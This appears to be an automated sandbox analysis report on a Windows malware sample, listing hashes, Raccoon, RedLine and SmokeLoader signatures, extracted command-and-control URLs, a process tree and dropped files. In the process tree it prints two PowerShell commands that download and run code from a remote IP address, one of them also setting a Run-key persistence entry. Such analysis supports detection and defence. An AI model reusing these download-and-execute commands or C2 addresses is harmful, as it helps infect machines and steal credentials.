Analysis

  • max time kernel
    115s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    11-08-2021 20:01

General

  • Target

    d2802e029df61fb38639eeb7881aa6f5bd752409e6b2a.exe

  • Size

    207KB

  • MD5

    4a24658b8b28d1512378d374676846dc

  • SHA1

    1d326b774e7f11bcaffbdb4198db8cc47735e808

  • SHA256

    d2802e029df61fb38639eeb7881aa6f5bd752409e6b2a70270e30e666c9baa7d

  • SHA512

    c762af1ea682cfa41bdb211a74cce91600da32ccace258e6dd0b2ed9eb02bad2d01922ef9ccc00a6b1c909d8fe7e3955ded408a0f643da75fcfbb805de4b6d3c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

2ca2376c561d1af7f8b9e6f3256b06220a3db187

Attributes
  • url4cnc

    https://telete.in/johnyes13

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 4 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d2802e029df61fb38639eeb7881aa6f5bd752409e6b2a.exe
    "C:\Users\Admin\AppData\Local\Temp\d2802e029df61fb38639eeb7881aa6f5bd752409e6b2a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Users\Admin\AppData\Local\Temp\d2802e029df61fb38639eeb7881aa6f5bd752409e6b2a.exe
      "C:\Users\Admin\AppData\Local\Temp\d2802e029df61fb38639eeb7881aa6f5bd752409e6b2a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:840
  • C:\Users\Admin\AppData\Local\Temp\AFA0.exe
    C:\Users\Admin\AppData\Local\Temp\AFA0.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:728
  • C:\Users\Admin\AppData\Local\Temp\B52D.exe
    C:\Users\Admin\AppData\Local\Temp\B52D.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Users\Admin\AppData\Local\Temp\is-03SOR.tmp\B52D.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-03SOR.tmp\B52D.tmp" /SL5="$60154,4193427,831488,C:\Users\Admin\AppData\Local\Temp\B52D.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Users\Admin\AppData\Local\Temp\B52D.exe
        "C:\Users\Admin\AppData\Local\Temp\B52D.exe" /VERYSILENT
        3⤵
        • Executes dropped EXE
        PID:1648
        • C:\Users\Admin\AppData\Local\Temp\is-BPMB0.tmp\B52D.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-BPMB0.tmp\B52D.tmp" /SL5="$70128,4193427,831488,C:\Users\Admin\AppData\Local\Temp\B52D.exe" /VERYSILENT
          4⤵
            PID:1208
            • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
              "C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe"
              5⤵
                PID:1592
      • C:\Users\Admin\AppData\Local\Temp\B9C0.exe
        C:\Users\Admin\AppData\Local\Temp\B9C0.exe
        1⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:320
      • C:\Users\Admin\AppData\Local\Temp\BD3A.exe
        C:\Users\Admin\AppData\Local\Temp\BD3A.exe
        1⤵
        • Executes dropped EXE
        PID:436
        • C:\ProgramData\Runtimebroker.exe
          "C:\ProgramData\Runtimebroker.exe"
          2⤵
            PID:924
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
              3⤵
                PID:1816
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
                3⤵
                  PID:1552
            • C:\Users\Admin\AppData\Local\Temp\CEC8.exe
              C:\Users\Admin\AppData\Local\Temp\CEC8.exe
              1⤵
                PID:960
                • C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                  C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                  2⤵
                    PID:800
                  • C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                    C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                    2⤵
                      PID:1220
                  • C:\Users\Admin\AppData\Local\Temp\F156.exe
                    C:\Users\Admin\AppData\Local\Temp\F156.exe
                    1⤵
                      PID:1436
                    • C:\Users\Admin\AppData\Local\Temp\F972.exe
                      C:\Users\Admin\AppData\Local\Temp\F972.exe
                      1⤵
                        PID:1540
                      • C:\Users\Admin\AppData\Local\Temp\FD98.exe
                        C:\Users\Admin\AppData\Local\Temp\FD98.exe
                        1⤵
                          PID:1192
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:1616
                          • C:\Windows\explorer.exe
                            C:\Windows\explorer.exe
                            1⤵
                              PID:788
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:2004
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:952
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:728
                                  • C:\Windows\explorer.exe
                                    C:\Windows\explorer.exe
                                    1⤵
                                      PID:1692
                                    • C:\Windows\SysWOW64\explorer.exe
                                      C:\Windows\SysWOW64\explorer.exe
                                      1⤵
                                        PID:1516
                                      • C:\Windows\explorer.exe
                                        C:\Windows\explorer.exe
                                        1⤵
                                          PID:1160
                                        • C:\Windows\SysWOW64\explorer.exe
                                          C:\Windows\SysWOW64\explorer.exe
                                          1⤵
                                            PID:932
                                          • C:\Windows\system32\taskeng.exe
                                            taskeng.exe {56C811FB-08C7-4185-909E-495B7BF02F28} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
                                            1⤵
                                              PID:1220

                                            Network

                                            MITRE ATT&CK Matrix ATT&CK v6

                                            Defense Evasion

                                            Virtualization/Sandbox Evasion

                                            1
                                            T1497

                                            Discovery

                                            Query Registry

                                            3
                                            T1012

                                            Virtualization/Sandbox Evasion

                                            1
                                            T1497

                                            System Information Discovery

                                            4
                                            T1082

                                            Peripheral Device Discovery

                                            1
                                            T1120

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • C:\ProgramData\Runtimebroker.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • C:\ProgramData\Runtimebroker.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • C:\Users\Admin\AppData\Local\Temp\AFA0.exe
                                              MD5

                                              a69e12607d01237460808fa1709e5e86

                                              SHA1

                                              4a12f82aee1c90e70cdf6be863ce1a749c8ae411

                                              SHA256

                                              188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

                                              SHA512

                                              7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

                                            • C:\Users\Admin\AppData\Local\Temp\B52D.exe
                                              MD5

                                              e987477b0d14b6d7075f0105aa28ba92

                                              SHA1

                                              54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

                                              SHA256

                                              4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

                                              SHA512

                                              bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

                                            • C:\Users\Admin\AppData\Local\Temp\B52D.exe
                                              MD5

                                              e987477b0d14b6d7075f0105aa28ba92

                                              SHA1

                                              54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

                                              SHA256

                                              4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

                                              SHA512

                                              bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

                                            • C:\Users\Admin\AppData\Local\Temp\B52D.exe
                                              MD5

                                              e987477b0d14b6d7075f0105aa28ba92

                                              SHA1

                                              54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

                                              SHA256

                                              4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

                                              SHA512

                                              bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

                                            • C:\Users\Admin\AppData\Local\Temp\B9C0.exe
                                              MD5

                                              49f58a80993170b4351014d0b5068897

                                              SHA1

                                              7af2615ec10821cbefb55c602b270c27fa1d6806

                                              SHA256

                                              905f70426483e7dc4e4d2110cfa0f3a3bbac1ee16a74e287cd51cae0e0babd1c

                                              SHA512

                                              2ee7f30ee68bbc9da4f3858d1eb188be3fca547f63b36864181b86a70ea5d06f614fdb38b42a22aff24e8d4d720f814b6b103e52d5c01c399eefd28775f88ae2

                                            • C:\Users\Admin\AppData\Local\Temp\BD3A.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • C:\Users\Admin\AppData\Local\Temp\BD3A.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                                              MD5

                                              5707ddada5b7ea6bef434cd294fa12e1

                                              SHA1

                                              45bb285a597b30e100ed4b15d96a29d718697e5e

                                              SHA256

                                              85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                              SHA512

                                              91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                            • C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                                              MD5

                                              5707ddada5b7ea6bef434cd294fa12e1

                                              SHA1

                                              45bb285a597b30e100ed4b15d96a29d718697e5e

                                              SHA256

                                              85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                              SHA512

                                              91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                            • C:\Users\Admin\AppData\Local\Temp\CEC8.exe
                                              MD5

                                              5707ddada5b7ea6bef434cd294fa12e1

                                              SHA1

                                              45bb285a597b30e100ed4b15d96a29d718697e5e

                                              SHA256

                                              85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                              SHA512

                                              91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                            • C:\Users\Admin\AppData\Local\Temp\F156.exe
                                              MD5

                                              84ed9f6a699f2a8ba8ad54e440b9be46

                                              SHA1

                                              c17baf00320bbd61b7de95527a5eb671e0cce972

                                              SHA256

                                              8034f68fd6cb788329194852dba0d8e7d5688cf9de4c514d97bb3b0d5324235b

                                              SHA512

                                              975b4a3f1e200c60afd233f0cb5e373235b3abb42f8b11a972ae9a1881940df99a41d0e6931c0b663e117b9e58a658b76b9e2475a780ff545171b36dbcc9dc30

                                            • C:\Users\Admin\AppData\Local\Temp\F972.exe
                                              MD5

                                              4fb208ec7d17d1ba04dd724693231c5e

                                              SHA1

                                              d2861fd7a1463d5bbbf6154d7c82d4dbff6112d5

                                              SHA256

                                              6dfc2d77895bc8653a3a5ef24b97484ace1f716231abd88045e9e08fea2bd449

                                              SHA512

                                              172aa75c8d4737e91d611af37bfeaa2ad4063f7a9d630215161db32a384d71d8852bbf7114369d8a886ad7eb966b20661e40db1599733e23da393bcfd04692a6

                                            • C:\Users\Admin\AppData\Local\Temp\FD98.exe
                                              MD5

                                              a14a03079bb9c9fcf9bc1877cd82b9e3

                                              SHA1

                                              e078ad048beeb0f0b9dc2703073a345f7c04f5f7

                                              SHA256

                                              ad85ec8bf87669cfc6f874e6fc4def4349ac8dabfdde8976cd90298ae24b6ce9

                                              SHA512

                                              9a75763ecf168e6c25980e0c37e0bc1a91cdf41dd9f256d09f9c56b186d07dd556513b343930d704776387af8723dc5137df445c7de0e8705a6e7b0268feaee1

                                            • C:\Users\Admin\AppData\Local\Temp\is-03SOR.tmp\B52D.tmp
                                              MD5

                                              6da8ef761a1ac640f74c4509a3da8b47

                                              SHA1

                                              de626da008e5e8500388ec7827bcd1158f703d98

                                              SHA256

                                              232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

                                              SHA512

                                              c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

                                            • C:\Users\Admin\AppData\Local\Temp\is-BPMB0.tmp\B52D.tmp
                                              MD5

                                              6da8ef761a1ac640f74c4509a3da8b47

                                              SHA1

                                              de626da008e5e8500388ec7827bcd1158f703d98

                                              SHA256

                                              232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

                                              SHA512

                                              c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

                                            • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                                              MD5

                                              cf8114289d40ec83b53463b1ac8930c9

                                              SHA1

                                              00036a509bc31c4264a0414d3386f420854ca047

                                              SHA256

                                              39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                                              SHA512

                                              e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                                            • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\libfreetype-4.dll
                                              MD5

                                              96f1c8a9c83fbf6411f35d3de8fdc77c

                                              SHA1

                                              41b590133df449c8e0ce247aab7def7cfc39399d

                                              SHA256

                                              ae8db0fc9690c6047bd1d1aeb7cd254060c0623700bb184ce3f1b3d1daffc39e

                                              SHA512

                                              fa214f15b7c77eca2760aa2489debc5d7244f5535a7b725b49ae7f9ba6f5341a04ee2ccabe15f1e70a542582ed64758d1b4e2d61faaacf2a56e3ec750df76baa

                                            • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\menu.xml
                                              MD5

                                              0ad63807522a2fc76deff4eddbc77d35

                                              SHA1

                                              85ba4baf1b1a623bc8fe5ea9334088de8da390c7

                                              SHA256

                                              f04362f73243736c636a08982e1f3655ce5824f2e5b0e3e87acbd94d0a906b96

                                              SHA512

                                              5cacea66310d6f8fc41cc742d6570e389e9df0f9faec4af2c8d036635500bfcf605148ec0a6e8d54b64485abb8a3881f00e7c93bbe7ab35eec85f39c6c33dac9

                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                                              MD5

                                              2ccb464c663cd579126e4a4ef11d233b

                                              SHA1

                                              62c279916cd93df2b78385cc3110d4322fc22352

                                              SHA256

                                              b213493a53da2e343111362af6720b6cc9517faed8aa809e9c5357ea01ad8a5c

                                              SHA512

                                              d5b52d1c2a354d9b820d278ef9afb62e2d47ea079965836b08b415445f6aca0bbcd5fee1f453277ea740dc3d983f5f191d86278082265c3c530e9aa9a09da475

                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\BI Video Controller for x86 systems\BI Video Controller for x86 systems.lnk
                                              MD5

                                              f7ac3060e80a71a9e372e8a8823a8179

                                              SHA1

                                              2acf200712b4647ab069d1db1ba3645b996b195b

                                              SHA256

                                              26e1120c1c3589d75348ba851eadc602ac7f77dab86f36472c5ec8edf26e5028

                                              SHA512

                                              26eeea95b35e7108d454f0f3f9c759f34df9f46bb4ae8002837bcc1db41defe4075ae440a8bc0feaec928ee5650fe251aa151bd773a2e2e2b5604ad7cf15ec82

                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk
                                              MD5

                                              cad1babbee7fdce0896b851383416516

                                              SHA1

                                              844dec17eed4d6dd9940870d31a818fbce7ea490

                                              SHA256

                                              03bb763215858617d60078771d08ac8d9ce52814529a69e218f81a0739b9d198

                                              SHA512

                                              a5fd5becf9868c6e8fe61b0d8c73de7a408433b7df4a3eb77a8f71f90fac56754ce1335f61f5c949a6463515295607dff31099c604dcb3c77f570b55aa6e194b

                                            • \??\PIPE\srvsvc
                                              MD5

                                              d41d8cd98f00b204e9800998ecf8427e

                                              SHA1

                                              da39a3ee5e6b4b0d3255bfef95601890afd80709

                                              SHA256

                                              e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                              SHA512

                                              cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                            • \ProgramData\Runtimebroker.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • \ProgramData\Runtimebroker.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • \ProgramData\Runtimebroker.exe
                                              MD5

                                              62d1b104b14022206b559167d97f7007

                                              SHA1

                                              cec380a9e863382fc1e37796f2f644a0dc3e3dbc

                                              SHA256

                                              2917de6c13402e8ed00f0955929a5b131c1624f8261a077a135d08f01c1e71e5

                                              SHA512

                                              821392e15527f511fa8d0568f5befdbbd10858ec50f400c868d36c062103a8a77bc4188050f954ec560c9f99d275feff9daa484372b379f90ed0c9070944a5d7

                                            • \Users\Admin\AppData\LocalLow\sqlite3.dll
                                              MD5

                                              f964811b68f9f1487c2b41e1aef576ce

                                              SHA1

                                              b423959793f14b1416bc3b7051bed58a1034025f

                                              SHA256

                                              83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

                                              SHA512

                                              565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

                                            • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\freebl3.dll
                                              MD5

                                              60acd24430204ad2dc7f148b8cfe9bdc

                                              SHA1

                                              989f377b9117d7cb21cbe92a4117f88f9c7693d9

                                              SHA256

                                              9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

                                              SHA512

                                              626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

                                            • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\mozglue.dll
                                              MD5

                                              eae9273f8cdcf9321c6c37c244773139

                                              SHA1

                                              8378e2a2f3635574c106eea8419b5eb00b8489b0

                                              SHA256

                                              a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

                                              SHA512

                                              06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

                                            • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\msvcp140.dll
                                              MD5

                                              109f0f02fd37c84bfc7508d4227d7ed5

                                              SHA1

                                              ef7420141bb15ac334d3964082361a460bfdb975

                                              SHA256

                                              334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

                                              SHA512

                                              46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

                                            • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\nss3.dll
                                              MD5

                                              d9178a1ba08385825cacc054b01ad8c9

                                              SHA1

                                              e465f97150e641a12718f7797bf4fe287519f292

                                              SHA256

                                              7d73987d144909d2a1266d7ec8e76ead9dd6320a268a103241215bbff7866d44

                                              SHA512

                                              6a4af26cfb667e1c6f646a27109d6820b5f3118ea0018e01d698fe99e7a0ab53fd602238fa7626ebc1cbed58b05bdf7287c1cd1ddd31917f5369cc99368ced04

                                            • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\softokn3.dll
                                              MD5

                                              4e8df049f3459fa94ab6ad387f3561ac

                                              SHA1

                                              06ed392bc29ad9d5fc05ee254c2625fd65925114

                                              SHA256

                                              25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

                                              SHA512

                                              3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

                                            • \Users\Admin\AppData\LocalLow\wG3cB0qZ3rM5x\vcruntime140.dll
                                              MD5

                                              7587bf9cb4147022cd5681b015183046

                                              SHA1

                                              f2106306a8f6f0da5afb7fc765cfa0757ad5a628

                                              SHA256

                                              c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

                                              SHA512

                                              0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

                                            • \Users\Admin\AppData\Local\Temp\B52D.exe
                                              MD5

                                              e987477b0d14b6d7075f0105aa28ba92

                                              SHA1

                                              54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

                                              SHA256

                                              4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

                                              SHA512

                                              bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

                                            • \Users\Admin\AppData\Local\Temp\CEC8.exe
                                              MD5

                                              6224a9d85cccf9f2f24442dc8e7da58c

                                              SHA1

                                              aa7a0ff96ae830f9cd3efb03a4d2f51ce4426d77

                                              SHA256

                                              8e5a5c799713c7db1872f0bc1918aa396961843a72c1ebaca6c58e0dea7d0e2c

                                              SHA512

                                              54c014ca9fb0d5e382b9c77da2a20bf6767ea3b7ba901e69512f84545f3ce0f3580e5913fc0550802145a719fa2137007f24ed9500514e55136cd622e531fb95

                                            • \Users\Admin\AppData\Local\Temp\CEC8.exe
                                              MD5

                                              5707ddada5b7ea6bef434cd294fa12e1

                                              SHA1

                                              45bb285a597b30e100ed4b15d96a29d718697e5e

                                              SHA256

                                              85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                                              SHA512

                                              91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                                            • \Users\Admin\AppData\Local\Temp\is-03SOR.tmp\B52D.tmp
                                              MD5

                                              6da8ef761a1ac640f74c4509a3da8b47

                                              SHA1

                                              de626da008e5e8500388ec7827bcd1158f703d98

                                              SHA256

                                              232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

                                              SHA512

                                              c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

                                            • \Users\Admin\AppData\Local\Temp\is-BPMB0.tmp\B52D.tmp
                                              MD5

                                              6da8ef761a1ac640f74c4509a3da8b47

                                              SHA1

                                              de626da008e5e8500388ec7827bcd1158f703d98

                                              SHA256

                                              232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

                                              SHA512

                                              c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

                                            • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                                              MD5

                                              cf8114289d40ec83b53463b1ac8930c9

                                              SHA1

                                              00036a509bc31c4264a0414d3386f420854ca047

                                              SHA256

                                              39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                                              SHA512

